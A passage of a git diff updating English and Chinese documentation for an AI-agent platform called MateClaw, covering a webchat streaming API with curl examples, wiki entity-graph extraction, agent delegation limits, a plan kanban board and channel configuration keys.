`tool_start` / `tool_end` / `plan` are **optional** events — used to show an "AI is typing…" bubble, tool-execution badges ("Searching…"), or a Plan-and-Execute step checklist in your SDK. The SDK can ignore them all and still render the full reply from `content_delta` alone. + +| Event | Triggered when | Data fields | +|---|---|---| +| `phase` | the agent enters a new execution phase (planning / generating / summarizing / ...) | `phase`, `timestamp` | +| `tool_start` | the agent calls a tool | `tool` (tool name) | +| `tool_end` | a tool call finishes | `tool`, `success` | +| `plan` | a Plan-and-Execute agent breaks work into steps | `steps` (string array) | + +**Note**: `tool_start` / `tool_end` carry **only the tool name**, never the call arguments or results — agent tool calls may involve PII (file paths, user queries, credentials), which would leak if forwarded to a third-party website frontend. The SDK should map tool names to localized labels (`web_search` → "Searching…"). + +## File upload / download + +1. `POST /upload` (multipart): returns `{fileId, fileName, contentType, size}`. +2. Add the fileId to the `attachmentIds` array in the body of the next `/stream` call. Unknown / expired / foreign fileIds are silently dropped (only the text part is sent, no error). +3. The agent reads server-side files directly; the `fileUrl` in a message is a relative download path (`/api/v1/channels/webchat/files?storedName=...`) — the client appends auth headers to download. +4. Agent-generated files (PDF/DOCX/...) appear in assistant replies as `/api/v1/files/generated/` URLs, downloadable **without auth**, with a 7-day TTL. + +## Session lifecycle: pin / archive / delete + +- **Pin** (`PUT /sessions/pinned`): sorted first in the `/sessions` list. +- **Archive** (`PUT /sessions/archive`): a soft close — the thread stays in the DB (history queryable, addressable by sessionId, files downloadable) but is hidden from `/sessions` by default (pass `includeArchived=true` to return it), and no longer counts against the "≤ 5 inactive empty sessions" quota. +- **Delete** (`DELETE /sessions`): permanent, unrecoverable. + +Each session returned by `/sessions` includes: `sessionId`, `title`, `lastActiveTime`, `messageCount`, `pinned`, `archived`, `streamStatus` (`running` / `idle`). + +## visitorToken revocation (admin) + +A visitor abusing the channel? An admin calls: + +```bash +curl -X POST https://mate.example.com/api/v1/admin/webchat/revoked-visitor \ + -H "Authorization: Bearer " \ + -H "Content-Type: application/json" \ + -d '{"channelId":123, "visitorId":"v1", "reason":"abuse"}' +``` + +After revocation, all of that visitor's management endpoints return 401 (`/stream` is unaffected and can re-issue a fresh token). Revocation state is briefly cached, so under a multi-instance deployment it takes up to ~10 minutes to fully propagate. Un-revoke via `DELETE` on the same endpoint. + +## curl examples + +**Step 1: send the first message** + +```bash +curl -N -X POST https://mate.example.com/api/v1/channels/webchat/stream \ + -H "X-MC-Key: your-api-key" \ + -H "Content-Type: application/json" \ + -d '{"visitorId":"v1","message":"hi"}' +``` + +Save the `visitorToken` and `sessionId` from the meta event. + +**Step 2: list sessions** + +```bash +curl https://mate.example.com/api/v1/channels/webchat/sessions?visitorId=v1 \ + -H "X-MC-Key: your-api-key" \ + -H "X-MC-Visitor-Token: " +``` + +**Step 3: upload an attachment and send** + +```bash +# upload +curl -X POST https://mate.example.com/api/v1/channels/webchat/upload \ + -H "X-MC-Key: your-api-key" \ + -H "X-MC-Visitor-Token: " \ + -F "visitorId=v1" \ + -F "file=@report.pdf" +# returns {"fileId":"abc-uuid", ...} + +# send a message with the attachment +curl -N -X POST https://mate.example.com/api/v1/channels/webchat/stream \ + -H "X-MC-Key: your-api-key" \ + -H "Content-Type: application/json" \ + -d '{"visitorId":"v1","sessionId":"","message":"take a look at this report","attachmentIds":["abc-uuid"]}' +``` + +## Limits + +- Inactive empty sessions per visitor ≤ 5 (creation is rejected past 5 — send a message or delete an old session first) +- Upload: single file ≤ configured cap, extension + MIME dual whitelist; ≤ 50 files / 200 MB per session (configurable) +- visitorToken expires in 7 days; agent-generated file URLs have a 7-day TTL +- Currently a single-instance deployment (staging registry + streamTracker are both in-memory). Multi-instance support is on the roadmap. + +## Related + +- Upstream epic issue: https://github.com/matevip/mateclaw/issues/355 diff --git a/mateclaw-server/src/main/resources/docs/en/wecom-tuning.md b/mateclaw-server/src/main/resources/docs/en/wecom-tuning.md index fb842cc1..67c7be7c 100644 --- a/mateclaw-server/src/main/resources/docs/en/wecom-tuning.md +++ b/mateclaw-server/src/main/resources/docs/en/wecom-tuning.md @@ -111,7 +111,7 @@ Fix: magic-byte sniff: - Other common formats (PNG / JPEG / MP4 / MP3 / WAV) all recognized - Truly unknown → keep `.bin`, don't pretend it's something else -Implemented in `WeComChannelAdapter.sniffMagic()` + `refineZipKind()`. +Implemented in `MediaTypeSniffer.sniff()` + `MediaTypeSniffer.refineZipKind()`, called from `InboundMediaDownloader.download()`. --- diff --git a/mateclaw-server/src/main/resources/docs/en/wiki.md b/mateclaw-server/src/main/resources/docs/en/wiki.md index 2c1a90ee..bf2e44c6 100644 --- a/mateclaw-server/src/main/resources/docs/en/wiki.md +++ b/mateclaw-server/src/main/resources/docs/en/wiki.md @@ -91,7 +91,7 @@ Ingestion is idempotent. Re-run it on the same material and existing pages get u Eager ingest runs in two phases for an order-of-magnitude speedup: - **Phase A (route)** — extracts metadata and concept routing, deciding which pages each chunk feeds into. -- **Phase B (merge)** — generates pages in parallel, 60+ at a time. Each raw material gets its own **progress bar** — no more staring at "processing…" wondering what's happening. +- **Phase B (merge)** — generates pages in parallel across multiple raw materials simultaneously; the degree of concurrency is tunable. Each raw material gets its own **progress bar** — no more staring at "processing…" wondering what's happening. **Resumable**: interrupted mid-import? Hit "Reprocess" and only the unfinished pages re-run; everything already produced stays put. Documents larger than the embedding model's context get mean-pool sub-segmented automatically. @@ -285,7 +285,7 @@ The bound KB doesn't just contribute summaries — it also contributes a small, - **Recent changes** — page creations and compilations since the last rebuild - **Active threads** — open questions and unresolved decisions -The rebuilder fires asynchronously when a conversation ends (`ConversationCompletedEvent`), debounced inside a configurable window (default ~30 s) so a flurry of short turns doesn't churn LLM calls. An admin can also trigger a rebuild manually — that path bypasses the debounce. +The rebuilder fires asynchronously when a conversation ends (`ConversationCompletedEvent`), debounced inside a configurable window (default 5 min) so a flurry of short turns doesn't churn LLM calls. An admin can also trigger a rebuild manually — that path bypasses the debounce. The injection is gated by the `wiki.hot_cache.enabled` feature flag (off → empty injection) and is capped at the **two highest-priority KBs** per agent so the system prompt stays small. @@ -389,8 +389,8 @@ that teaches wikilink syntax doesn't accidentally lint itself). Each KB shows a banner at the top of the workspace. Click "Scan dead links" to start a job: -| Method | Path | What it does | -|---|---|---| +| Endpoint | What it does | +|---|---| | `POST /api/v1/wiki/knowledge-bases/{kbId}/lint/broken-links` | Starts a job (async, job-based). Returns `{jobId, status, startedAt}`. Idempotent — repeat POSTs while a job is in flight return the same id | | `GET .../lint/broken-links` | Returns the latest completed scan as a per-page aggregate | | `GET .../lint/broken-links/jobs/{jobId}` | Status check for a specific job | @@ -454,6 +454,12 @@ lookup is strict case-insensitive exact (no canonical fuzzing), so if the LLM wrote a slug that doesn't exist you see the toast rather than getting silently redirected to a similarly-named page. +### `[n]` citation markers are clickable too + +When an agent answers using wiki retrieval, the reply ends with a "Sources:" list (`[1] Title — Section — page N`). The **inline citation markers** (`[1]`, `[2]`, etc.) are now themselves clickable, and every line of the sources list is also fully clickable — either takes you directly to the corresponding wiki page. The navigation logic is shared with wikilinks above: title-based cross-KB lookup, with 0 / 1 / multiple-hit behaviour of toast / direct navigation / picker respectively. + +The backend normalises source lines into a canonical format (adding the "Sources:" header when missing, rewriting legacy formats in-place) so the frontend can reliably identify them and wire up the `[n]` markers as links. This requires the KB to have Wiki enabled and the material to have been ingested. + ### Phase roadmap (all phases landed) | Phase | Key changes | @@ -579,7 +585,7 @@ When the `wiki.ocr.enabled` feature flag is on, MateClaw runs every uploaded ima |---|---|---| | `dashscope-vision` | `qwen-vl-max` | DashScope OpenAI-compatible endpoint; reuses the DashScope provider configured in the UI | | `zhipu-vision` | `glm-5v-turbo` | Zhipu BigModel; OpenAI-compatible | -| `volcano-doubao-vision` | configurable | ByteDance Volcano Doubao vision | +| `doubao-vision` | configurable | ByteDance Volcano Doubao vision | Providers are auto-detected by order. Configure their keys / base URLs in `Settings → Models` like any other provider — the vision pipeline picks up the credentials from there. @@ -625,13 +631,47 @@ This UI used to be cosmetic — the Java side dropped the config on the floor an --- +## Knowledge graph: the entity layer + +::: tip New +The page layer answers "which page covers this topic." The **entity layer** answers "who relates to whom, and how." During ingest, alongside chunking, embedding, and page writing, the system can run an additional **entity extraction** pass: pulling out named entities — people, organisations, locations, events, products, concepts — and the typed relationships between them, connecting everything into a navigable knowledge graph. +::: + +### What gets extracted, and when + +Two kinds of objects are produced: + +- **Entities (nodes)** — each entity has a canonical name, aliases, a description, a salience score, a mention count, and an embedding vector used for near-duplicate merging. Six built-in types: `person` / `organization` / `location` / `event` / `product` / `concept`. +- **Relations (edges)** — subject → predicate → object triples, where the predicate is a snake\_case phrase (`works_for`, `located_in`, `founded`, etc.). Each relation carries an evidence quotation. + +Extraction runs after embeddings are written, as an **independent async pass** that does not block page generation. It is **incremental** by default — chunks that have already been processed are skipped. Entity normalisation works in three tiers: an in-process runtime cache → exact database key lookup → cosine similarity against stored embeddings (threshold 0.92) to merge near-synonyms. "阿里巴巴" and "Alibaba" collapse to the same node. + +Extraction only runs when **entity extraction is enabled** in the KB configuration. To force a full re-extraction immediately: `POST /api/v1/wiki/kb/{kbId}/entities/extract?force=true` — force mode captures a new graph before replacing the old one, so a complete LLM failure leaves the existing graph intact. + +### Configuring entity types + +In `Wiki → Config → Entity Extraction`: toggling the switch on reveals a tag editor (multi-select, searchable, inline create). The six built-in types are suggested by default; you can type a custom type (e.g. `technology`, `law`) and press Enter to add it. Leaving the list empty falls back to the built-in six. The type list is stored in the KB's `configContent` JSON under the `entityTypes` key. + +### Exploring the graph + +The Wiki graph view toolbar gains a **Page graph / Entity graph** toggle. In entity graph mode: + +- The full graph is loaded in one call (`GET /api/v1/wiki/kb/{kbId}/entity-graph`). Nodes are coloured by type; labels are always visible. +- A **type legend** at the top lists every entity type present in the graph. Clicking a type label toggles that type's nodes on or off — useful when the graph is large. +- Clicking a node loads its **ego-graph**: the right-hand panel lists the entity's aliases, its relations, and the **wiki pages that mention it** (each is a clickable link). +- Colours follow a shared earthy palette that matches the page-type graph. Because the graph renders on canvas and cannot read CSS variables, the palette is resolved from the current theme's computed styles at runtime, so both light and dark mode display correct label colours. + +The three underlying tables are described in the [Data model](#data-model-if-you-re-curious) section below. + +--- + ## Data model (if you're curious) -Nine tables: +Core tables (see feature sections for the complete list): | Table | Purpose | |---|---| -| `mate_wiki_knowledge_base` | One row per KB. Owner, name, description, config JSON (`ingestMode`, `wikiDefaultModelId`, `stepModels`, fallback chain). | +| `mate_wiki_knowledge_base` | One row per KB. Owner, name, description, config JSON (`ingestMode`, `wikiDefaultModelId`, `stepModels`, `entityExtractionEnabled`, `entityTypes`, fallback chain). | | `mate_wiki_raw_material` | One row per upload. Status, byte hash, source path, last successfully-processed hash. | | `mate_wiki_page` | One row per generated page. Title, summary, body, `source_raw_ids` (provenance), `page_type`, `locked`, version, plus `embedding` / `embedding_model` / `embedding_text_version` so transformation synthesis pages enter semantic search directly. | | `mate_wiki_chunk` | One row per chunk. content + hash + offsets + embedding, plus `page_number`, `header_breadcrumb`, `source_section`, `token_count`. | @@ -640,6 +680,9 @@ Nine tables: | `mate_wiki_image_caption_cache` | SHA-256 keyed cache of vision-extracted captions. `caption`, `visible_text`, `mime_type`, `capture_model`, `provider_id`, `duration_ms`, `hit_count`. | | `mate_wiki_transformation` | One row per transformation template. `name`, `title`, `description`, `prompt_template`, `model_id`, `apply_default`, `output_target`, `output_format`, `output_schema`. `kb_id=NULL` = workspace-wide. | | `mate_wiki_transformation_run` | One row per template execution. `status`, `output`, `error`, `duration_ms`, `model_id`, `triggered_by`, `input_tokens`, `output_tokens`, `total_tokens`, `output_page_id`. | +| `mate_wiki_entity` (V148) | One row per entity. Canonical name, type, aliases JSON, `salience`, `mention_count`, `embedding` (used for near-duplicate merging). | +| `mate_wiki_entity_mention` (V149) | One occurrence of an entity in a chunk. `entity_id`, `chunk_id`, `page_id` (back-reference to the wiki page), `surface_form`, `evidence`. | +| `mate_wiki_entity_relation` (V150) | Entity relation triple. `subject_entity_id`, `predicate`, `object_entity_id`, `evidence`, `evidence_chunk_id`. | `mate_wiki_page` also carries two protection flags: diff --git a/mateclaw-server/src/main/resources/docs/en/workspaces.md b/mateclaw-server/src/main/resources/docs/en/workspaces.md index 8ff94ad4..aafd2ee4 100644 --- a/mateclaw-server/src/main/resources/docs/en/workspaces.md +++ b/mateclaw-server/src/main/resources/docs/en/workspaces.md @@ -290,7 +290,6 @@ curl -X PUT http://localhost:18088/api/v1/workspaces/1/members/42 \ | `workspace_id` | FK to `mate_workspace` | | `user_id` | FK to `mate_user` | | `role` | `owner` / `admin` / `member` / `viewer` | -| `joined_at` | When the user joined this workspace | | `create_time` / `update_time` | Timestamps | --- diff --git a/mateclaw-server/src/main/resources/docs/zh/agents.md b/mateclaw-server/src/main/resources/docs/zh/agents.md index d880e9bf..eefe97c8 100644 --- a/mateclaw-server/src/main/resources/docs/zh/agents.md +++ b/mateclaw-server/src/main/resources/docs/zh/agents.md @@ -107,7 +107,7 @@ head: ## 多 Agent 并行委派 -一个 Agent 不是孤军作战。一个 Agent 可以把任务委派给另一个——或者**同时委派给三个**。 +一个 Agent 不是孤军作战。一个 Agent 可以把任务委派给另一个——或者**同时委派给多个**(最多 8 个)。 - **单点委派** —— 把一个子任务交给指定 Agent,在独立会话中执行,结果流式回传 - **并行委派** —— 同时委派给多个 Agent,每个在自己的隔离会话里跑 @@ -130,8 +130,9 @@ head: 子员工默认被拒绝一组工具,保证树不失控: -- `delegateToAgent` / `delegateParallel`(递归护栏——子员工不能再发起同步/并行委派,避免委派风暴) -- `setGoal` 系列 + `remember` 系列(目标与记忆的所有权留在父员工手里) +- `delegateToAgent` / `delegateParallel` / `listAvailableAgents`(递归护栏——子员工不能再发起同步/并行委派,也不能枚举兄弟员工) +- `setGoal` / `addGoalCriterion` / `completeGoal` / `getGoalStatus`(目标所有权留在父员工手里) +- `remember` / `remember_structured` / `forget_structured`(子员工不能写入父员工的长期记忆) - `create_employee`(子员工不能凭空造新员工) 这组默认拒绝列表可通过 `mateclaw.delegation.child-denied-tools` 调整。 @@ -150,6 +151,41 @@ ChatConsole 把整棵委派树画出来,不是一串扁平日志: --- +## 计划看板(Kanban) + +::: tip 新增 +`数字员工` 页头多了一个三段切换:**花名册 / 实时 / 计划看板**。计划看板把整个工作空间里员工跑出来的计划,按状态摊成一块看板,一眼看清谁在做什么、卡在哪。(仅管理员可见。) +::: + +看板是 **Plan-and-Execute 计划**的全局视图,分四列,按计划状态自动归位: + +| 列 | 含义 | +|----|------| +| **待执行** | 计划已生成,第一步还没开始 | +| **执行中** | 第一步已启动 | +| **已完成** | 全部步骤跑完 | +| **失败** | 有步骤失败且不再重试 | + +布局是**泳道式**:每个有计划的员工占一行,按最近活动排序,顶部下拉可只看某一个员工。同一个目标的多次重新规划会折叠成**一张卡片 + ×N 徽标**,不会堆成一串。每张卡显示目标文字、进度条(已完成 / 总步数)、以及步骤分布芯片(N 待执行 / M 执行中 / K 已完成)。 + +看板是**只读**的——状态由执行驱动,不能拖拽。点一张卡,右侧滑出**计划详情面板**:受派员工、状态、KPI(步数 / 进度 / 创建日期)、执行产出(Markdown 渲染)、可展开的步骤时间线。顶部还有「目标」按钮,直接打开活跃[目标](./goals)列表。 + +REST:`GET /api/v1/plans?limit=N`(跨员工最近 N 条)、`GET /api/v1/plans?agentId=...`(按员工)、`GET /api/v1/plans/{id}`(含步骤详情)。 + +### 按步骤委派给专职员工 + +::: tip 新增 +一个多步计划,不必由一个员工从头跑到尾。生成计划时,规划员可以把**单个步骤**指派给工作空间里更对口的员工去执行。 +::: + +机制是**自动的**,不需要手动配置:规划阶段,系统把工作空间里其他已启用员工(连名字带描述)摊给规划员看;规划员判断某一步明显属于某员工的专长时,就在计划里把那一步标给它,其余步骤留给自己。多数步骤通常不需要委派。 + +- 委派关系存在 `mate_sub_plan.assigned_agent_id`,计划详情面板的步骤下方会显示蓝色徽标 **「委派给 <员工名>」** +- 被委派步骤在**子会话**里执行,结果回流到主计划——这条子会话归属到原计划的对话之下,**不会**作为独立顶层会话泄漏进会话列表 +- 步骤委派和[目标系统](./goals)、上面的[多级委派树](#多级子员工委派树)是一套语义:父员工拆活、专职员工干活 + +--- + ## 一句话造一支团队:数字员工搭建技能 ::: tip 1.4.0 新增 @@ -167,6 +203,24 @@ ChatConsole 把整棵委派树画出来,不是一串扁平日志: --- +## 一句话创建员工向导(单个员工) + +::: tip 新增 +上面那条造的是**一整支团队**,走的是对话式技能。如果你只想要**一个**员工,又懒得逐项填表单,用列表页右上角的 **创建向导**:一句话描述,AI 把草稿生成出来,你改两下就上线。 +::: + +这是一个独立的三步 UI 向导(`数字员工 → 创建向导`),和上面的团队技能是两个东西——一个出团队、一个出单人,一个在聊天框里、一个是专门的页面。 + +1. **描述**——在输入框里用一句自然语言说清楚你要什么("一个帮我盯竞品动态、每天写简报的运营助手")。下方有示例 chip,点一下就填好 +2. **确认**——AI 回来一份草稿:名字、头像 emoji、角色、目标、system prompt、类型(`react` / `plan_execute`)、推荐首问、标签,以及**建议绑定的工具 / 技能 / 知识库**。每个字段都能改,能力用可搜索的 picker 增删 +3. **上线**——确认后一次性创建员工并完成工具 / 技能 / 知识库绑定,给你"开始聊天 / 再建一个 / 回列表"三个去处 + +**防幻觉**是这里的关键设计:AI 只能从你这套部署**真实存在**的能力目录里挑工具、技能、知识库——模型凭空编出来的工具名、技能 ID、KB ID 在生成阶段就被逐项反查丢弃,永远到不了向导界面。所以草稿里出现的每一项绑定都是当场可用的。 + +后端入口:`POST /api/v1/agents/generate`,请求体 `{ "requirement": "你的一句话" }`,返回一份校验过的草稿。 + +--- + ## 深度思考 不是所有问题都值得深度推理,但有些问题需要。MateClaw 支持按 Agent、按对话打开深度思考模式: @@ -188,7 +242,7 @@ ChatConsole 把整棵委派树画出来,不是一串扁平日志: 5. 选类型(`react` 或 `plan_execute`) 6. 写或改 system prompt(角色 / 目标 / 背景故事会自动拼接进来,不用重复写) 7. 勾选它能用的工具,绑定它该读的知识库 -8. 设置 `max_iterations`(默认 10) +8. 设置 `max_iterations`(默认 100) 9. 保存 立刻生效。从聊天 UI 或 API 开始用。 @@ -250,6 +304,27 @@ UI 入口:`员工 → 选员工 → 编辑 → 知识库`。 迁移备注:早期版本的"绑定"是写在 `mate_wiki_knowledge_base.agent_id` 上的(一对一独占语义)。从 V130 迁移开始,所有老的 `kb.agent_id` 都被回填到 `agent.primary_kb_id`,老字段保留作 fallback 读取,但新的写入只走 `agent.primary_kb_id`。如果你之前依赖"KB 只给某个 agent 看"的隔离,请到员工管理面板重新审视一遍——KB 现在对 workspace 内全员可见。 +#### 让某个员工彻底不碰知识库 + +::: tip 新增 +"知识库"标签页顶部有个开关:**此智能体不使用任何知识库**。它和"工具禁用""技能禁用"是对称的三个 opt-out 开关。 +::: + +这里要分清两种"空": + +- **选择器留空** = "我没特别指定" → 运行时按**继承工作空间全部 KB**处理(默认行为) +- **打开这个开关** = "我明确不要任何 KB" → 运行时把该员工的可见 KB 直接判为**零** + +打开后保存,员工的 KB 绑定被清空并标记为「显式无知识库」,标签页上出现「已禁用」徽标。效果: + +- `wiki_read_page` / `wiki_search_pages` / `wiki_semantic_search` 等全系 wiki 工具一律返回 `"no knowledge base"`(工具还在工具集里,只是执行结果为空) +- webchat 的 `/wiki/pages` 端点对该员工返回空列表 +- 知识库注入 / grounding 全部关闭 + +**默认关闭**,所有存量员工行为不变。开关可随时解除——只要回到 KB 选择器勾上任意一个知识库再保存,这个标志会自动清掉(非空绑定优先于 opt-out,避免状态矛盾)。 + +字段落在 `mate_agent.wiki_disabled`(V154 迁移,H2 / MySQL / KingbaseES 三套齐备)。 + ### System Prompt 最佳实践 System prompt 是数字员工的声音、优先级、约束的来源。**角色 / 目标 / 背景故事**和技能指令、工作空间记忆系统会自动拼接到最终 prompt 里——这些部分你不用自己写。 @@ -309,6 +384,10 @@ System prompt 是数字员工的声音、优先级、约束的来源。**角色 | `SUMMARIZED` | 上下文压缩之后正常完成 | | `MAX_ITERATIONS_REACHED` | 到达迭代上限被强制收敛 | | `ERROR_FALLBACK` | 出错后降级的答案 | +| `INCOMPLETE` | 响应未完整完成,需要继续生成或重试 | +| `EVIDENCE_INSUFFICIENT` | 最终回答引用了未被工具结果验证的事实 | +| `STOPPED` | 用户主动停止 | +| `RETURN_DIRECT` | 带 `returnDirect=true` 的工具短路了循环,结果直接发给用户 | --- @@ -317,12 +396,14 @@ System prompt 是数字员工的声音、优先级、约束的来源。**角色 这些是运行时自己在做的事,目的是让 Agent 在你不想去 debug 的那种地方不脆弱: - **上下文修剪**——上下文窗口快满时,早期轮次由 LLM 总结、摘要替换原文。缓存 30 分钟。摘要以用户消息形式注入,不是系统消息——防止历史内容被提升成系统级指令的注入风险。 -- **结构化压缩(prompt 过长时)**——当模型返回"prompt 过长"时,运行时走一条四级递进的结构化压缩链:**软裁剪 → 硬清理 → 预修剪 → LLM 结构化摘要**。无论走到哪一级,都**永远保留前缀**——system prompt + 目标锚点不动;最终摘要以 UserMessage 形式注入。委派工具的返回结果**永远不会被压缩**(它们是子员工的成果,丢了就找不回来)。某次摘要失败后有 **10 分钟冷却**,避免在同一个超限回合里反复硬调 LLM。 +- **结构化压缩(prompt 过长时)**——当模型返回"prompt 过长"时,运行时走一条四级递进的结构化压缩链:**软裁剪 → 硬清理 → 预修剪 → LLM 结构化摘要**。无论走到哪一级,都**永远保留前缀**——system prompt + 目标锚点不动;最终摘要以 UserMessage 形式注入。委派工具的返回结果**永远不会被压缩**(它们是子员工的成果,丢了就找不回来)。PTL 紧急压缩后有 **1 分钟冷却**,避免在同一个超限回合里反复硬调 LLM。 - **思考恢复**——流式中途断了,已经写出的思考和内容会持久化,会话重载时还在。 - **迭代上限处理**——到达 `max_iterations` 不会崩溃,而是强制让 LLM 用现有信息生成一个尽力而为的总结答案。 - **僵尸流清理**——后台跟踪每一个打开的 SSE 流,被遗弃的会被自动回收。 - **429 重试**——LLM 限流错误会触发带退避的自动重试。 - **重复检测**——抓住那些反复在同一个工具调用上打转的 Agent,强行把它拉出循环。 +- **停滞检测 + 重新规划**——Plan-Execute 模式下,某一步抛异常或在工具内循环里反复失败时,运行时会清掉当前计划、带着失败原因回到规划节点**重新规划**,绕开坏掉的那一步,而不是带着垃圾结果硬推下去。详见[目标 · 停滞检测与重规划](./goals#停滞检测与重新规划)。 +- **目标硬延续**——锁了目标的员工撞到迭代上限时,可以**续一次满额迭代**接着干,而不是停在那里等你再发消息。详见[目标 · 硬延续](./goals#撞到迭代上限的硬延续)。 - **工具超时可配置**——一个慢工具不会冻结整个回合。 - **渠道健康监控**——失败的渠道适配器走指数退避重启。 diff --git a/mateclaw-server/src/main/resources/docs/zh/ambient-ai.md b/mateclaw-server/src/main/resources/docs/zh/ambient-ai.md index f5e8cdc9..96cd987f 100644 --- a/mateclaw-server/src/main/resources/docs/zh/ambient-ai.md +++ b/mateclaw-server/src/main/resources/docs/zh/ambient-ai.md @@ -109,7 +109,7 @@ MateClaw 的答案是:**你团队已经在用的所有聊天软件,就是那 - **多 Agent 引擎**(ReAct + Plan-Execute) - **Cron 调度 + 失败重试** -- **9 个 IM 渠道适配器**(每个都有指数退避重连) +- **8 个 IM 渠道适配器**(每个都有指数退避重连) - **持久化记忆**([Memory](./memory),Dreaming 之后越用越懂你) - **Wiki 知识层**([LLM Wiki](./wiki),让调研有依据) - **Tool Guard**([Security](./security),敏感操作问你一句再执行) diff --git a/mateclaw-server/src/main/resources/docs/zh/api.md b/mateclaw-server/src/main/resources/docs/zh/api.md index 6f3cace5..e295942e 100644 --- a/mateclaw-server/src/main/resources/docs/zh/api.md +++ b/mateclaw-server/src/main/resources/docs/zh/api.md @@ -285,7 +285,7 @@ curl -N -X POST http://localhost:18088/api/v1/chat/stream \ | `GET` | `/api/v1/models/active` | `获取当前激活模型` | | `PUT` | `/api/v1/models/active` | `设置当前激活模型` | | `GET` | `/api/v1/models/by-type` | `按类型筛选模型(chat / embedding),可选 modality 过滤` | -| `GET` | `/api/v1/models/catalog` | `RFC-074: 获取 Provider 全量目录(含未启用),供 Add Provider 抽屉使用` | +| `GET` | `/api/v1/models/catalog` | `获取 Provider 全量目录(含未启用),供 Add Provider 抽屉使用` | | `DELETE` | `/api/v1/models/custom-providers` | `删除自定义 Provider(查询参数变体,兼容含特殊字符的旧 ID)` | | `POST` | `/api/v1/models/custom-providers` | `创建自定义 Provider` | | `DELETE` | `/api/v1/models/custom-providers/{providerId}` | `删除自定义 Provider` | @@ -299,10 +299,10 @@ curl -N -X POST http://localhost:18088/api/v1/chat/stream \ | `PUT` | `/api/v1/models/{id}` | `更新模型` | | `POST` | `/api/v1/models/{id}/default` | `设置默认模型` | | `PUT` | `/api/v1/models/{providerId}/config` | `更新 Provider 配置` | -| `POST` | `/api/v1/models/{providerId}/disable` | `RFC-074: 禁用 Provider(如其下模型为当前默认会自动切换)` | +| `POST` | `/api/v1/models/{providerId}/disable` | `禁用 Provider(如其下模型为当前默认会自动切换)` | | `POST` | `/api/v1/models/{providerId}/discover` | `发现远端模型` | | `POST` | `/api/v1/models/{providerId}/discover/apply` | `批量添加发现的模型` | -| `POST` | `/api/v1/models/{providerId}/enable` | `RFC-074: 启用 Provider` | +| `POST` | `/api/v1/models/{providerId}/enable` | `启用 Provider` | | `DELETE` | `/api/v1/models/{providerId}/models` | `从 Provider 删除模型` | | `POST` | `/api/v1/models/{providerId}/models` | `向 Provider 添加模型` | | `POST` | `/api/v1/models/{providerId}/models/test` | `测试单个模型可用性` | @@ -375,7 +375,7 @@ curl -N -X POST http://localhost:18088/api/v1/chat/stream \ | 方法 | 路径 | 用途 / handler | |---|---|---| -| `GET` | `/api/v1/skills` | `获取技能分页列表(RFC-042 §2.1)` | +| `GET` | `/api/v1/skills` | `获取技能分页列表` | | `POST` | `/api/v1/skills` | `创建技能` | | `GET` | `/api/v1/skills/counts` | `获取各类型技能计数(tab 徽章用)` | | `POST` | `/api/v1/skills/curator/activate` | `激活/取消激活 curator(真正归档 vs 仅预览)` | @@ -398,19 +398,19 @@ curl -N -X POST http://localhost:18088/api/v1/chat/stream \ | `GET` | `/api/v1/skills/runtime/status` | `获取所有技能的运行时解析状态(管理页面使用)` | | `GET` | `/api/v1/skills/summary` | `获取已启用技能摘要(按类型分组)` | | `POST` | `/api/v1/skills/sync-files` | `Re-sync every skill's bundle files (admin)` | -| `POST` | `/api/v1/skills/synthesize-from-conversation` | `从对话历史合成 Skill(RFC-023)` | +| `POST` | `/api/v1/skills/synthesize-from-conversation` | `从对话历史合成 Skill` | | `GET` | `/api/v1/skills/type/{skillType}` | `按类型获取技能列表` | | `DELETE` | `/api/v1/skills/{id}` | `硬删除技能 (admin only — 物理删除 + 工作区清空)` | | `GET` | `/api/v1/skills/{id}` | `获取技能详情` | | `PUT` | `/api/v1/skills/{id}` | `更新技能` | | `POST` | `/api/v1/skills/{id}/archive` | `手动归档技能` | -| `GET` | `/api/v1/skills/{id}/employees` | `List agents that can use this skill (RFC-090 §14.2)` | +| `GET` | `/api/v1/skills/{id}/employees` | `列出能使用该技能的员工` | | `POST` | `/api/v1/skills/{id}/export-workspace` | `将 skill 导出到工作区目录` | -| `GET` | `/api/v1/skills/{id}/lessons` | `Read per-skill LESSONS.md (RFC-090 §11.4)` | -| `POST` | `/api/v1/skills/{id}/lessons/clear` | `Clear all lessons for a skill (RFC-090 §11.4)` | +| `GET` | `/api/v1/skills/{id}/lessons` | `读取该技能的 LESSONS.md` | +| `POST` | `/api/v1/skills/{id}/lessons/clear` | `清空该技能的所有 lessons` | | `POST` | `/api/v1/skills/{id}/pin` | `钉住/取消钉住技能(钉住的技能不会被自动归档)` | -| `GET` | `/api/v1/skills/{id}/requirements` | `Pre-flight requirement statuses for a skill (RFC-090)` | -| `POST` | `/api/v1/skills/{id}/rescan` | `重新扫描单个技能(RFC-042 §2.3.4)` | +| `GET` | `/api/v1/skills/{id}/requirements` | `该技能的前置依赖检查状态` | +| `POST` | `/api/v1/skills/{id}/rescan` | `重新扫描单个技能` | | `POST` | `/api/v1/skills/{id}/restore` | `恢复已归档的技能` | | `POST` | `/api/v1/skills/{id}/sync-files` | `Re-sync this skill's bundle files from DB → local workspace cache` | | `PUT` | `/api/v1/skills/{id}/toggle` | `启用/禁用技能` | @@ -423,7 +423,7 @@ curl -N -X POST http://localhost:18088/api/v1/chat/stream \ | 方法 | 路径 | 用途 / handler | |---|---|---| -| `GET` | `/api/v1/skill-templates` | `List skill templates (RFC-091)` | +| `GET` | `/api/v1/skill-templates` | `获取技能模板列表` | | `GET` | `/api/v1/skill-templates/{id}` | `Get a single skill template` | | `POST` | `/api/v1/skill-templates/{id}/instantiate` | `Instantiate a template into a skill` | diff --git a/mateclaw-server/src/main/resources/docs/zh/channels.md b/mateclaw-server/src/main/resources/docs/zh/channels.md index b3e3ab08..c720cc7d 100644 --- a/mateclaw-server/src/main/resources/docs/zh/channels.md +++ b/mateclaw-server/src/main/resources/docs/zh/channels.md @@ -258,10 +258,10 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "feishu", "agentId": 1, "config": { - "appId": "cli_your_app_id", - "appSecret": "your-app-secret", - "verificationToken": "your-verification-token", - "encryptKey": "your-encrypt-key" + "app_id": "cli_your_app_id", + "app_secret": "your-app-secret", + "verification_token": "your-verification-token", + "encrypt_key": "your-encrypt-key" }, "enabled": true }' @@ -349,8 +349,8 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "feishu", "agentId": 1, "config": { - "appId": "cli_your_app_id", - "appSecret": "your-app-secret", + "app_id": "cli_your_app_id", + "app_secret": "your-app-secret", "card_format": "auto", "card_header": "AI 助手", "card_streaming_enabled": true, @@ -384,11 